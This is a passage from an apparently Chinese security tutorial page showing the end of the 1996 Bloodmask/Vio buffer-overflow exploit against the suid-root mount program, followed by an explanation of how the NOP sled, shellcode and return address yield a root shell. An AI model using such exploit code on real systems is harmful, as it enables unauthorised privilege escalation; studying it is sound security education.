memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell)); ptr += BUFFER_SIZE-strlen(execshell);
/* stick asm code into the buffer */
for(i=0;i < strlen(execshell);i++) *(ptr++) = execshell[i];
addr_ptr = (long *)ptr; for(i=0;i < (8/4);i++) *(addr_ptr++) = get_esp() + ofs; ptr = (char *)addr_ptr; *ptr = 0;
(void)alarm((u_int)0); printf("Discovered and Coded by Bloodmask and Vio, Covin 1996\n"); execl(PATH_MOUNT, "mount", buff, NULL); }
----------------------------------------------------------------------
程序中get_esp()函数的作用就是定位堆栈位置。程序首先分配一块暂存区 buff,然后在buff的前面部分填满NOP,后面部分放shell代码。最后部分是希望 程序返回的地址,由栈地址加偏移得到。当以buff为参数调用mount时,将造成 mount程序的堆栈溢出,其缓冲区被buff覆盖,而返回地址将指向NOP指令。 由于mount程序的属主是root且有suid位,普通用户运行上面程序的结果将 获得一个具有root权限的shell。
上一页 [1] [2] |